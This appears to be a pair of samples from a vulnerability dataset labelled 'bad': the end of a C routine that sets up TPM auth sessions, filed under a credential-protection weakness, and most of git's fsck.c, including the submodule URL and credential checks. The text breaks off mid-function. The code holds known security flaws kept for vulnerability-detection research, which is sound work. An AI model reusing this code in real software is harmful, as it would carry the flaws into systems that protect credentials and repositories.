session->bind, 0, &( session->nonceOlder ), &( session->encryptedSalt ), session->sessionType, &( session->symmetric ), session->authHash, &( session->sessionHandle ), &( session->nonceNewer ), 0 ); if( rval == TPM_RC_SUCCESS ) { if( session->tpmKey == TPM_RH_NULL ) session->salt.t.size = 0; if( session->bind == TPM_RH_NULL ) session->authValueBind.t.size = 0; if( session->tpmKey == TPM_RH_NULL && session->bind == TPM_RH_NULL ) { session->sessionKey.b.size = 0; } else { // Generate the key used as input to the KDF. // Generate the key used as input to the KDF. bool result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->authValueBind.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->salt.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } bytes = GetDigestSize( session->authHash ); if( key.t.size == 0 ) { session->sessionKey.t.size = 0; } else { rval = tpm_kdfa(sapi_context, session->authHash, &(key.b), label, &( session->nonceNewer.b ), &( session->nonceOlder.b ), bytes * 8, (TPM2B_MAX_BUFFER *)&( session->sessionKey ) ); } if( rval != TPM_RC_SUCCESS ) { return( TSS2_APP_RC_CREATE_SESSION_KEY_FAILED ); } } session->nonceTpmDecrypt.b.size = 0; session->nonceTpmEncrypt.b.size = 0; session->nvNameChanged = 0; } return rval; } TPM_RC tpm_session_auth_end( SESSION *session ) { TPM_RC rval = TPM_RC_SUCCESS; DeleteSession( session ); return rval; } // // This version of StartAuthSession initializes the fields // of the session structure using the passed in // parameters, then calls StartAuthSession // with just a pointer to the session structure. // This allows all params to be set in one line of code when // the function is called; cleaner this way, for // some uses. // TPM_RC tpm_session_start_auth_with_params(TSS2_SYS_CONTEXT *sapi_context, SESSION **session, TPMI_DH_OBJECT tpmKey, TPM2B_MAX_BUFFER *salt, TPMI_DH_ENTITY bind, TPM2B_AUTH *bindAuth, TPM2B_NONCE *nonceCaller, TPM2B_ENCRYPTED_SECRET *encryptedSalt, TPM_SE sessionType, TPMT_SYM_DEF *symmetric, TPMI_ALG_HASH algId ) { TPM_RC rval; SESSION_LIST_ENTRY *sessionEntry; rval = AddSession( &sessionEntry ); if( rval == TSS2_RC_SUCCESS ) { *session = &sessionEntry->session; // Copy handles to session struct. (*session)->bind = bind; (*session)->tpmKey = tpmKey; // Copy nonceCaller to nonceOlder in session struct. // This will be used as nonceCaller when StartAuthSession // is called. memcpy( &(*session)->nonceOlder.b, &nonceCaller->b, sizeof(nonceCaller->b)); // Copy encryptedSalt memcpy( &(*session)->encryptedSalt.b, &encryptedSalt->b, sizeof(encryptedSalt->b)); // Copy sessionType. (*session)->sessionType = sessionType; // Init symmetric. (*session)->symmetric.algorithm = symmetric->algorithm; (*session)->symmetric.keyBits.sym = symmetric->keyBits.sym; (*session)->symmetric.mode.sym = symmetric->mode.sym; (*session)->authHash = algId; // Copy bind' authValue. if( bindAuth == 0 ) { (*session)->authValueBind.b.size = 0; } else { memcpy( &( (*session)->authValueBind.b ), &( bindAuth->b ), sizeof(bindAuth->b)); } // Calculate sessionKey if( (*session)->tpmKey == TPM_RH_NULL ) { (*session)->salt.t.size = 0; } else { memcpy( &(*session)->salt.b, &salt->b, sizeof(salt->b)); } if( (*session)->bind == TPM_RH_NULL ) (*session)->authValueBind.t.size = 0; rval = StartAuthSession(sapi_context, *session ); } else { DeleteSession( *session ); } return( rval ); }
./CrossVul/dataset_final_sorted/CWE-522/c/bad_3274_4
crossvul-cpp_data_bad_3894_1
#include "cache.h" #include "object.h" #include "blob.h" #include "tree.h" #include "tree-walk.h" #include "commit.h" #include "tag.h" #include "fsck.h" #include "refs.h" #include "url.h" #include "utf8.h" #include "sha1-array.h" #include "decorate.h" #include "oidset.h" #include "packfile.h" #include "submodule-config.h" #include "config.h" #include "credential.h" static struct oidset gitmodules_found = OIDSET_INIT; static struct oidset gitmodules_done = OIDSET_INIT; #define FSCK_FATAL -1 #define FSCK_INFO -2 #define FOREACH_MSG_ID(FUNC) \ /* fatal errors */ \ FUNC(NUL_IN_HEADER, FATAL) \ FUNC(UNTERMINATED_HEADER, FATAL) \ /* errors */ \ FUNC(BAD_DATE, ERROR) \ FUNC(BAD_DATE_OVERFLOW, ERROR) \ FUNC(BAD_EMAIL, ERROR) \ FUNC(BAD_NAME, ERROR) \ FUNC(BAD_OBJECT_SHA1, ERROR) \ FUNC(BAD_PARENT_SHA1, ERROR) \ FUNC(BAD_TAG_OBJECT, ERROR) \ FUNC(BAD_TIMEZONE, ERROR) \ FUNC(BAD_TREE, ERROR) \ FUNC(BAD_TREE_SHA1, ERROR) \ FUNC(BAD_TYPE, ERROR) \ FUNC(DUPLICATE_ENTRIES, ERROR) \ FUNC(MISSING_AUTHOR, ERROR) \ FUNC(MISSING_COMMITTER, ERROR) \ FUNC(MISSING_EMAIL, ERROR) \ FUNC(MISSING_GRAFT, ERROR) \ FUNC(MISSING_NAME_BEFORE_EMAIL, ERROR) \ FUNC(MISSING_OBJECT, ERROR) \ FUNC(MISSING_PARENT, ERROR) \ FUNC(MISSING_SPACE_BEFORE_DATE, ERROR) \ FUNC(MISSING_SPACE_BEFORE_EMAIL, ERROR) \ FUNC(MISSING_TAG, ERROR) \ FUNC(MISSING_TAG_ENTRY, ERROR) \ FUNC(MISSING_TAG_OBJECT, ERROR) \ FUNC(MISSING_TREE, ERROR) \ FUNC(MISSING_TREE_OBJECT, ERROR) \ FUNC(MISSING_TYPE, ERROR) \ FUNC(MISSING_TYPE_ENTRY, ERROR) \ FUNC(MULTIPLE_AUTHORS, ERROR) \ FUNC(TAG_OBJECT_NOT_TAG, ERROR) \ FUNC(TREE_NOT_SORTED, ERROR) \ FUNC(UNKNOWN_TYPE, ERROR) \ FUNC(ZERO_PADDED_DATE, ERROR) \ FUNC(GITMODULES_MISSING, ERROR) \ FUNC(GITMODULES_BLOB, ERROR) \ FUNC(GITMODULES_PARSE, ERROR) \ FUNC(GITMODULES_NAME, ERROR) \ FUNC(GITMODULES_SYMLINK, ERROR) \ FUNC(GITMODULES_URL, ERROR) \ FUNC(GITMODULES_PATH, ERROR) \ FUNC(GITMODULES_UPDATE, ERROR) \ /* warnings */ \ FUNC(BAD_FILEMODE, WARN) \ FUNC(EMPTY_NAME, WARN) \ FUNC(FULL_PATHNAME, WARN) \ FUNC(HAS_DOT, WARN) \ FUNC(HAS_DOTDOT, WARN) \ FUNC(HAS_DOTGIT, WARN) \ FUNC(NULL_SHA1, WARN) \ FUNC(ZERO_PADDED_FILEMODE, WARN) \ FUNC(NUL_IN_COMMIT, WARN) \ /* infos (reported as warnings, but ignored by default) */ \ FUNC(BAD_TAG_NAME, INFO) \ FUNC(MISSING_TAGGER_ENTRY, INFO) #define MSG_ID(id, msg_type) FSCK_MSG_##id, enum fsck_msg_id { FOREACH_MSG_ID(MSG_ID) FSCK_MSG_MAX }; #undef MSG_ID #define STR(x) #x #define MSG_ID(id, msg_type) { STR(id), NULL, FSCK_##msg_type }, static struct { const char *id_string; const char *downcased; int msg_type; } msg_id_info[FSCK_MSG_MAX + 1] = { FOREACH_MSG_ID(MSG_ID) { NULL, NULL, -1 } }; #undef MSG_ID static int parse_msg_id(const char *text) { int i; if (!msg_id_info[0].downcased) { /* convert id_string to lower case, without underscores. */ for (i = 0; i < FSCK_MSG_MAX; i++) { const char *p = msg_id_info[i].id_string; int len = strlen(p); char *q = xmalloc(len); msg_id_info[i].downcased = q; while (*p) if (*p == '_') p++; else *(q)++ = tolower(*(p)++); *q = '\0'; } } for (i = 0; i < FSCK_MSG_MAX; i++) if (!strcmp(text, msg_id_info[i].downcased)) return i; return -1; } static int fsck_msg_type(enum fsck_msg_id msg_id, struct fsck_options *options) { int msg_type; assert(msg_id >= 0 && msg_id < FSCK_MSG_MAX); if (options->msg_type) msg_type = options->msg_type[msg_id]; else { msg_type = msg_id_info[msg_id].msg_type; if (options->strict && msg_type == FSCK_WARN) msg_type = FSCK_ERROR; } return msg_type; } static void init_skiplist(struct fsck_options *options, const char *path) { static struct oid_array skiplist = OID_ARRAY_INIT; int sorted, fd; char buffer[GIT_MAX_HEXSZ + 1]; struct object_id oid; if (options->skiplist) sorted = options->skiplist->sorted; else { sorted = 1; options->skiplist = &skiplist; } fd = open(path, O_RDONLY); if (fd < 0) die("Could not open skip list: %s", path); for (;;) { const char *p; int result = read_in_full(fd, buffer, sizeof(buffer)); if (result < 0) die_errno("Could not read '%s'", path); if (!result) break; if (parse_oid_hex(buffer, &oid, &p) || *p != '\n') die("Invalid SHA-1: %s", buffer); oid_array_append(&skiplist, &oid); if (sorted && skiplist.nr > 1 && oidcmp(&skiplist.oid[skiplist.nr - 2], &oid) > 0) sorted = 0; } close(fd); if (sorted) skiplist.sorted = 1; } static int parse_msg_type(const char *str) { if (!strcmp(str, "error")) return FSCK_ERROR; else if (!strcmp(str, "warn")) return FSCK_WARN; else if (!strcmp(str, "ignore")) return FSCK_IGNORE; else die("Unknown fsck message type: '%s'", str); } int is_valid_msg_type(const char *msg_id, const char *msg_type) { if (parse_msg_id(msg_id) < 0) return 0; parse_msg_type(msg_type); return 1; } void fsck_set_msg_type(struct fsck_options *options, const char *msg_id, const char *msg_type) { int id = parse_msg_id(msg_id), type; if (id < 0) die("Unhandled message id: %s", msg_id); type = parse_msg_type(msg_type); if (type != FSCK_ERROR && msg_id_info[id].msg_type == FSCK_FATAL) die("Cannot demote %s to %s", msg_id, msg_type); if (!options->msg_type) { int i; int *msg_type; ALLOC_ARRAY(msg_type, FSCK_MSG_MAX); for (i = 0; i < FSCK_MSG_MAX; i++) msg_type[i] = fsck_msg_type(i, options); options->msg_type = msg_type; } options->msg_type[id] = type; } void fsck_set_msg_types(struct fsck_options *options, const char *values) { char *buf = xstrdup(values), *to_free = buf; int done = 0; while (!done) { int len = strcspn(buf, " ,|"), equal; done = !buf[len]; if (!len) { buf++; continue; } buf[len] = '\0'; for (equal = 0; equal < len && buf[equal] != '=' && buf[equal] != ':'; equal++) buf[equal] = tolower(buf[equal]); buf[equal] = '\0'; if (!strcmp(buf, "skiplist")) { if (equal == len) die("skiplist requires a path"); init_skiplist(options, buf + equal + 1); buf += len + 1; continue; } if (equal == len) die("Missing '=': '%s'", buf); fsck_set_msg_type(options, buf, buf + equal + 1); buf += len + 1; } free(to_free); } static void append_msg_id(struct strbuf *sb, const char *msg_id) { for (;;) { char c = *(msg_id)++; if (!c) break; if (c != '_') strbuf_addch(sb, tolower(c)); else { assert(*msg_id); strbuf_addch(sb, *(msg_id)++); } } strbuf_addstr(sb, ": "); } __attribute__((format (printf, 4, 5))) static int report(struct fsck_options *options, struct object *object, enum fsck_msg_id id, const char *fmt, ...) { va_list ap; struct strbuf sb = STRBUF_INIT; int msg_type = fsck_msg_type(id, options), result; if (msg_type == FSCK_IGNORE) return 0; if (options->skiplist && object && oid_array_lookup(options->skiplist, &object->oid) >= 0) return 0; if (msg_type == FSCK_FATAL) msg_type = FSCK_ERROR; else if (msg_type == FSCK_INFO) msg_type = FSCK_WARN; append_msg_id(&sb, msg_id_info[id].id_string); va_start(ap, fmt); strbuf_vaddf(&sb, fmt, ap); result = options->error_func(options, object, msg_type, sb.buf); strbuf_release(&sb); va_end(ap); return result; } static char *get_object_name(struct fsck_options *options, struct object *obj) { if (!options->object_names) return NULL; return lookup_decoration(options->object_names, obj); } static void put_object_name(struct fsck_options *options, struct object *obj, const char *fmt, ...) { va_list ap; struct strbuf buf = STRBUF_INIT; char *existing; if (!options->object_names) return; existing = lookup_decoration(options->object_names, obj); if (existing) return; va_start(ap, fmt); strbuf_vaddf(&buf, fmt, ap); add_decoration(options->object_names, obj, strbuf_detach(&buf, NULL)); va_end(ap); } static const char *describe_object(struct fsck_options *o, struct object *obj) { static struct strbuf buf = STRBUF_INIT; char *name; strbuf_reset(&buf); strbuf_addstr(&buf, oid_to_hex(&obj->oid)); if (o->object_names && (name = lookup_decoration(o->object_names, obj))) strbuf_addf(&buf, " (%s)", name); return buf.buf; } static int fsck_walk_tree(struct tree *tree, void *data, struct fsck_options *options) { struct tree_desc desc; struct name_entry entry; int res = 0; const char *name; if (parse_tree(tree)) return -1; name = get_object_name(options, &tree->object); if (init_tree_desc_gently(&desc, tree->buffer, tree->size)) return -1; while (tree_entry_gently(&desc, &entry)) { struct object *obj; int result; if (S_ISGITLINK(entry.mode)) continue; if (S_ISDIR(entry.mode)) { obj = (struct object *)lookup_tree(entry.oid); if (name && obj) put_object_name(options, obj, "%s%s/", name, entry.path); result = options->walk(obj, OBJ_TREE, data, options); } else if (S_ISREG(entry.mode) || S_ISLNK(entry.mode)) { obj = (struct object *)lookup_blob(entry.oid); if (name && obj) put_object_name(options, obj, "%s%s", name, entry.path); result = options->walk(obj, OBJ_BLOB, data, options); } else { result = error("in tree %s: entry %s has bad mode %.6o", describe_object(options, &tree->object), entry.path, entry.mode); } if (result < 0) return result; if (!res) res = result; } return res; } static int fsck_walk_commit(struct commit *commit, void *data, struct fsck_options *options) { int counter = 0, generation = 0, name_prefix_len = 0; struct commit_list *parents; int res; int result; const char *name; if (parse_commit(commit)) return -1; name = get_object_name(options, &commit->object); if (name) put_object_name(options, &commit->tree->object, "%s:", name); result = options->walk((struct object *)commit->tree, OBJ_TREE, data, options); if (result < 0) return result; res = result; parents = commit->parents; if (name && parents) { int len = strlen(name), power; if (len && name[len - 1] == '^') { generation = 1; name_prefix_len = len - 1; } else { /* parse ~<generation> suffix */ for (generation = 0, power = 1; len && isdigit(name[len - 1]); power *= 10) generation += power * (name[--len] - '0'); if (power > 1 && len && name[len - 1] == '~') name_prefix_len = len - 1; } } while (parents) { if (name) { struct object *obj = &parents->item->object; if (++counter > 1) put_object_name(options, obj, "%s^%d", name, counter); else if (generation > 0) put_object_name(options, obj, "%.*s~%d", name_prefix_len, name, generation + 1); else put_object_name(options, obj, "%s^", name); } result = options->walk((struct object *)parents->item, OBJ_COMMIT, data, options); if (result < 0) return result; if (!res) res = result; parents = parents->next; } return res; } static int fsck_walk_tag(struct tag *tag, void *data, struct fsck_options *options) { char *name = get_object_name(options, &tag->object); if (parse_tag(tag)) return -1; if (name) put_object_name(options, tag->tagged, "%s", name); return options->walk(tag->tagged, OBJ_ANY, data, options); } int fsck_walk(struct object *obj, void *data, struct fsck_options *options) { if (!obj) return -1; if (obj->type == OBJ_NONE) parse_object(&obj->oid); switch (obj->type) { case OBJ_BLOB: return 0; case OBJ_TREE: return fsck_walk_tree((struct tree *)obj, data, options); case OBJ_COMMIT: return fsck_walk_commit((struct commit *)obj, data, options); case OBJ_TAG: return fsck_walk_tag((struct tag *)obj, data, options); default: error("Unknown object type for %s", describe_object(options, obj)); return -1; } } /* * The entries in a tree are ordered in the _path_ order, * which means that a directory entry is ordered by adding * a slash to the end of it. * * So a directory called "a" is ordered _after_ a file * called "a.c", because "a/" sorts after "a.c". */ #define TREE_UNORDERED (-1) #define TREE_HAS_DUPS (-2) static int verify_ordered(unsigned mode1, const char *name1, unsigned mode2, const char *name2) { int len1 = strlen(name1); int len2 = strlen(name2); int len = len1 < len2 ? len1 : len2; unsigned char c1, c2; int cmp; cmp = memcmp(name1, name2, len); if (cmp < 0) return 0; if (cmp > 0) return TREE_UNORDERED; /* * Ok, the first <len> characters are the same. * Now we need to order the next one, but turn * a '\0' into a '/' for a directory entry. */ c1 = name1[len]; c2 = name2[len]; if (!c1 && !c2) /* * git-write-tree used to write out a nonsense tree that has * entries with the same name, one blob and one tree. Make * sure we do not have duplicate entries. */ return TREE_HAS_DUPS; if (!c1 && S_ISDIR(mode1)) c1 = '/'; if (!c2 && S_ISDIR(mode2)) c2 = '/'; return c1 < c2 ? 0 : TREE_UNORDERED; } static int fsck_tree(struct tree *item, struct fsck_options *options) { int retval = 0; int has_null_sha1 = 0; int has_full_path = 0; int has_empty_name = 0; int has_dot = 0; int has_dotdot = 0; int has_dotgit = 0; int has_zero_pad = 0; int has_bad_modes = 0; int has_dup_entries = 0; int not_properly_sorted = 0; struct tree_desc desc; unsigned o_mode; const char *o_name; if (init_tree_desc_gently(&desc, item->buffer, item->size)) { retval += report(options, &item->object, FSCK_MSG_BAD_TREE, "cannot be parsed as a tree"); return retval; } o_mode = 0; o_name = NULL; while (desc.size) { unsigned mode; const char *name, *backslash; const struct object_id *oid; oid = tree_entry_extract(&desc, &name, &mode); has_null_sha1 |= is_null_oid(oid); has_full_path |= !!strchr(name, '/'); has_empty_name |= !*name; has_dot |= !strcmp(name, "."); has_dotdot |= !strcmp(name, ".."); has_dotgit |= is_hfs_dotgit(name) || is_ntfs_dotgit(name); has_zero_pad |= *(char *)desc.buffer == '0'; if (is_hfs_dotgitmodules(name) || is_ntfs_dotgitmodules(name)) { if (!S_ISLNK(mode)) oidset_insert(&gitmodules_found, oid); else retval += report(options, &item->object, FSCK_MSG_GITMODULES_SYMLINK, ".gitmodules is a symbolic link"); } if ((backslash = strchr(name, '\\'))) { while (backslash) { backslash++; has_dotgit |= is_ntfs_dotgit(backslash); if (is_ntfs_dotgitmodules(backslash)) { if (!S_ISLNK(mode)) oidset_insert(&gitmodules_found, oid); else retval += report(options, &item->object, FSCK_MSG_GITMODULES_SYMLINK, ".gitmodules is a symbolic link"); } backslash = strchr(backslash, '\\'); } } if (update_tree_entry_gently(&desc)) { retval += report(options, &item->object, FSCK_MSG_BAD_TREE, "cannot be parsed as a tree"); break; } switch (mode) { /* * Standard modes.. */ case S_IFREG | 0755: case S_IFREG | 0644: case S_IFLNK: case S_IFDIR: case S_IFGITLINK: break; /* * This is nonstandard, but we had a few of these * early on when we honored the full set of mode * bits.. */ case S_IFREG | 0664: if (!options->strict) break; /* fallthrough */ default: has_bad_modes = 1; } if (o_name) { switch (verify_ordered(o_mode, o_name, mode, name)) { case TREE_UNORDERED: not_properly_sorted = 1; break; case TREE_HAS_DUPS: has_dup_entries = 1; break; default: break; } } o_mode = mode; o_name = name; } if (has_null_sha1) retval += report(options, &item->object, FSCK_MSG_NULL_SHA1, "contains entries pointing to null sha1"); if (has_full_path) retval += report(options, &item->object, FSCK_MSG_FULL_PATHNAME, "contains full pathnames"); if (has_empty_name) retval += report(options, &item->object, FSCK_MSG_EMPTY_NAME, "contains empty pathname"); if (has_dot) retval += report(options, &item->object, FSCK_MSG_HAS_DOT, "contains '.'"); if (has_dotdot) retval += report(options, &item->object, FSCK_MSG_HAS_DOTDOT, "contains '..'"); if (has_dotgit) retval += report(options, &item->object, FSCK_MSG_HAS_DOTGIT, "contains '.git'"); if (has_zero_pad) retval += report(options, &item->object, FSCK_MSG_ZERO_PADDED_FILEMODE, "contains zero-padded file modes"); if (has_bad_modes) retval += report(options, &item->object, FSCK_MSG_BAD_FILEMODE, "contains bad file modes"); if (has_dup_entries) retval += report(options, &item->object, FSCK_MSG_DUPLICATE_ENTRIES, "contains duplicate file entries"); if (not_properly_sorted) retval += report(options, &item->object, FSCK_MSG_TREE_NOT_SORTED, "not properly sorted"); return retval; } static int verify_headers(const void *data, unsigned long size, struct object *obj, struct fsck_options *options) { const char *buffer = (const char *)data; unsigned long i; for (i = 0; i < size; i++) { switch (buffer[i]) { case '\0': return report(options, obj, FSCK_MSG_NUL_IN_HEADER, "unterminated header: NUL at offset %ld", i); case '\n': if (i + 1 < size && buffer[i + 1] == '\n') return 0; } } /* * We did not find double-LF that separates the header * and the body. Not having a body is not a crime but * we do want to see the terminating LF for the last header * line. */ if (size && buffer[size - 1] == '\n') return 0; return report(options, obj, FSCK_MSG_UNTERMINATED_HEADER, "unterminated header"); } static int fsck_ident(const char **ident, struct object *obj, struct fsck_options *options) { const char *p = *ident; char *end; *ident = strchrnul(*ident, '\n'); if (**ident == '\n') (*ident)++; if (*p == '<') return report(options, obj, FSCK_MSG_MISSING_NAME_BEFORE_EMAIL, "invalid author/committer line - missing space before email"); p += strcspn(p, "<>\n"); if (*p == '>') return report(options, obj, FSCK_MSG_BAD_NAME, "invalid author/committer line - bad name"); if (*p != '<') return report(options, obj, FSCK_MSG_MISSING_EMAIL, "invalid author/committer line - missing email"); if (p[-1] != ' ') return report(options, obj, FSCK_MSG_MISSING_SPACE_BEFORE_EMAIL, "invalid author/committer line - missing space before email"); p++; p += strcspn(p, "<>\n"); if (*p != '>') return report(options, obj, FSCK_MSG_BAD_EMAIL, "invalid author/committer line - bad email"); p++; if (*p != ' ') return report(options, obj, FSCK_MSG_MISSING_SPACE_BEFORE_DATE, "invalid author/committer line - missing space before date"); p++; if (*p == '0' && p[1] != ' ') return report(options, obj, FSCK_MSG_ZERO_PADDED_DATE, "invalid author/committer line - zero-padded date"); if (date_overflows(parse_timestamp(p, &end, 10))) return report(options, obj, FSCK_MSG_BAD_DATE_OVERFLOW, "invalid author/committer line - date causes integer overflow"); if ((end == p || *end != ' ')) return report(options, obj, FSCK_MSG_BAD_DATE, "invalid author/committer line - bad date"); p = end + 1; if ((*p != '+' && *p != '-') || !isdigit(p[1]) || !isdigit(p[2]) || !isdigit(p[3]) || !isdigit(p[4]) || (p[5] != '\n')) return report(options, obj, FSCK_MSG_BAD_TIMEZONE, "invalid author/committer line - bad time zone"); p += 6; return 0; } static int fsck_commit_buffer(struct commit *commit, const char *buffer, unsigned long size, struct fsck_options *options) { unsigned char tree_sha1[20], sha1[20]; struct commit_graft *graft; unsigned parent_count, parent_line_count = 0, author_count; int err; const char *buffer_begin = buffer; if (verify_headers(buffer, size, &commit->object, options)) return -1; if (!skip_prefix(buffer, "tree ", &buffer)) return report(options, &commit->object, FSCK_MSG_MISSING_TREE, "invalid format - expected 'tree' line"); if (get_sha1_hex(buffer, tree_sha1) || buffer[40] != '\n') { err = report(options, &commit->object, FSCK_MSG_BAD_TREE_SHA1, "invalid 'tree' line format - bad sha1"); if (err) return err; } buffer += 41; while (skip_prefix(buffer, "parent ", &buffer)) { if (get_sha1_hex(buffer, sha1) || buffer[40] != '\n') { err = report(options, &commit->object, FSCK_MSG_BAD_PARENT_SHA1, "invalid 'parent' line format - bad sha1"); if (err) return err; } buffer += 41; parent_line_count++; } graft = lookup_commit_graft(&commit->object.oid); parent_count = commit_list_count(commit->parents); if (graft) { if (graft->nr_parent == -1 && !parent_count) ; /* shallow commit */ else if (graft->nr_parent != parent_count) { err = report(options, &commit->object, FSCK_MSG_MISSING_GRAFT, "graft objects missing"); if (err) return err; } } else { if (parent_count != parent_line_count) { err = report(options, &commit->object, FSCK_MSG_MISSING_PARENT, "parent objects missing"); if (err) return err; } } author_count = 0; while (skip_prefix(buffer, "author ", &buffer)) { author_count++; err = fsck_ident(&buffer, &commit->object, options); if (err) return err; } if (author_count < 1) err = report(options, &commit->object, FSCK_MSG_MISSING_AUTHOR, "invalid format - expected 'author' line"); else if (author_count > 1) err = report(options, &commit->object, FSCK_MSG_MULTIPLE_AUTHORS, "invalid format - multiple 'author' lines"); if (err) return err; if (!skip_prefix(buffer, "committer ", &buffer)) return report(options, &commit->object, FSCK_MSG_MISSING_COMMITTER, "invalid format - expected 'committer' line"); err = fsck_ident(&buffer, &commit->object, options); if (err) return err; if (!commit->tree) { err = report(options, &commit->object, FSCK_MSG_BAD_TREE, "could not load commit's tree %s", sha1_to_hex(tree_sha1)); if (err) return err; } if (memchr(buffer_begin, '\0', size)) { err = report(options, &commit->object, FSCK_MSG_NUL_IN_COMMIT, "NUL byte in the commit object body"); if (err) return err; } return 0; } static int fsck_commit(struct commit *commit, const char *data, unsigned long size, struct fsck_options *options) { const char *buffer = data ? data : get_commit_buffer(commit, &size); int ret = fsck_commit_buffer(commit, buffer, size, options); if (!data) unuse_commit_buffer(commit, buffer); return ret; } static int fsck_tag_buffer(struct tag *tag, const char *data, unsigned long size, struct fsck_options *options) { unsigned char sha1[20]; int ret = 0; const char *buffer; char *to_free = NULL, *eol; struct strbuf sb = STRBUF_INIT; if (data) buffer = data; else { enum object_type type; buffer = to_free = read_sha1_file(tag->object.oid.hash, &type, &size); if (!buffer) return report(options, &tag->object, FSCK_MSG_MISSING_TAG_OBJECT, "cannot read tag object"); if (type != OBJ_TAG) { ret = report(options, &tag->object, FSCK_MSG_TAG_OBJECT_NOT_TAG, "expected tag got %s", type_name(type)); goto done; } } ret = verify_headers(buffer, size, &tag->object, options); if (ret) goto done; if (!skip_prefix(buffer, "object ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_OBJECT, "invalid format - expected 'object' line"); goto done; } if (get_sha1_hex(buffer, sha1) || buffer[40] != '\n') { ret = report(options, &tag->object, FSCK_MSG_BAD_OBJECT_SHA1, "invalid 'object' line format - bad sha1"); if (ret) goto done; } buffer += 41; if (!skip_prefix(buffer, "type ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TYPE_ENTRY, "invalid format - expected 'type' line"); goto done; } eol = strchr(buffer, '\n'); if (!eol) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TYPE, "invalid format - unexpected end after 'type' line"); goto done; } if (type_from_string_gently(buffer, eol - buffer, 1) < 0) ret = report(options, &tag->object, FSCK_MSG_BAD_TYPE, "invalid 'type' value"); if (ret) goto done; buffer = eol + 1; if (!skip_prefix(buffer, "tag ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TAG_ENTRY, "invalid format - expected 'tag' line"); goto done; } eol = strchr(buffer, '\n'); if (!eol) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TAG, "invalid format - unexpected end after 'type' line"); goto done; } strbuf_addf(&sb, "refs/tags/%.*s", (int)(eol - buffer), buffer); if (check_refname_format(sb.buf, 0)) { ret = report(options, &tag->object, FSCK_MSG_BAD_TAG_NAME, "invalid 'tag' name: %.*s", (int)(eol - buffer), buffer); if (ret) goto done; } buffer = eol + 1; if (!skip_prefix(buffer, "tagger ", &buffer)) { /* early tags do not contain 'tagger' lines; warn only */ ret = report(options, &tag->object, FSCK_MSG_MISSING_TAGGER_ENTRY, "invalid format - expected 'tagger' line"); if (ret) goto done; } else ret = fsck_ident(&buffer, &tag->object, options); done: strbuf_release(&sb); free(to_free); return ret; } static int fsck_tag(struct tag *tag, const char *data, unsigned long size, struct fsck_options *options) { struct object *tagged = tag->tagged; if (!tagged) return report(options, &tag->object, FSCK_MSG_BAD_TAG_OBJECT, "could not load tagged object"); return fsck_tag_buffer(tag, data, size, options); } /* * Like builtin/submodule--helper.c's starts_with_dot_slash, but without * relying on the platform-dependent is_dir_sep helper. * * This is for use in checking whether a submodule URL is interpreted as * relative to the current directory on any platform, since \ is a * directory separator on Windows but not on other platforms. */ static int starts_with_dot_slash(const char *str) { return str[0] == '.' && (str[1] == '/' || str[1] == '\\'); } /* * Like starts_with_dot_slash, this is a variant of submodule--helper's * helper of the same name with the twist that it accepts backslash as a * directory separator even on non-Windows platforms. */ static int starts_with_dot_dot_slash(const char *str) { return str[0] == '.' && starts_with_dot_slash(str + 1); } static int submodule_url_is_relative(const char *url) { return starts_with_dot_slash(url) || starts_with_dot_dot_slash(url); } /* * Check whether a transport is implemented by git-remote-curl. * * If it is, returns 1 and writes the URL that would be passed to * git-remote-curl to the "out" parameter. * * Otherwise, returns 0 and leaves "out" untouched. * * Examples: * http::https://example.com/repo.git -> 1, https://example.com/repo.git * https://example.com/repo.git -> 1, https://example.com/repo.git * git://example.com/repo.git -> 0 * * This is for use in checking for previously exploitable bugs that * required a submodule URL to be passed to git-remote-curl. */ static int url_to_curl_url(const char *url, const char **out) { /* * We don't need to check for case-aliases, "http.exe", and so * on because in the default configuration, is_transport_allowed * prevents URLs with those schemes from being cloned * automatically. */ if (skip_prefix(url, "http::", out) || skip_prefix(url, "https::", out) || skip_prefix(url, "ftp::", out) || skip_prefix(url, "ftps::", out)) return 1; if (starts_with(url, "http://") || starts_with(url, "https://") || starts_with(url, "ftp://") || starts_with(url, "ftps://")) { *out = url; return 1; } return 0; } static int check_submodule_url(const char *url) { const char *curl_url; if (looks_like_command_line_option(url)) return -1; if (submodule_url_is_relative(url)) { /* * This could be appended to an http URL and url-decoded; * check for malicious characters. */ char *decoded = url_decode(url); int has_nl = !!strchr(decoded, '\n'); free(decoded); if (has_nl) return -1; } else if (url_to_curl_url(url, &curl_url)) { struct credential c = CREDENTIAL_INIT; int ret = credential_from_url_gently(&c, curl_url, 1); credential_clear(&c); return ret; } return 0; } struct fsck_gitmodules_data { struct object *obj; struct fsck_options *options; int ret; }; static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata) { struct fsck_gitmodules_data *data = vdata; const char *subsection, *key; int subsection_len; char *name; if (parse_config_key(var, "submodule", &subsection, &subsection_len, &key) < 0 || !subsection) return 0; name = xmemdupz(subsection, subsection_len); if (check_submodule_name(name) < 0) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_NAME, "disallowed submodule name: %s", name); if (!strcmp(key, "url") && value && check_submodule_url(value) < 0) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_URL, "disallowed submodule url: %s", value); if (!strcmp(key, "path") && value && looks_like_command_line_option(value)) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_PATH, "disallowed submodule path: %s", value); if (!strcmp(key, "update") && value && parse_submodule_update_type(value) == SM_UPDATE_COMMAND) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_UPDATE, "disallowed submodule update setting: %s", value); free(name); return 0; } static int fsck_blob(struct blob *blob, const char *buf, unsigned long size, struct fsck_options *options) { struct fsck_gitmodules_data data; if (!oidset_contains(&gitmodules_found, &blob->object.oid)) return 0; oidset_insert(&gitmodules_done, &blob->object.oid); if (!buf) { /* * A missing buffer here is a sign that the caller found the * blob too gigantic to load into memory. Let's just consider * that an error. */ return report(options, &blob->object, FSCK_MSG_GITMODULES_PARSE, ".gitmodules too large to parse"); } data.obj = &blob->object; data.options = options; data.ret = 0; if 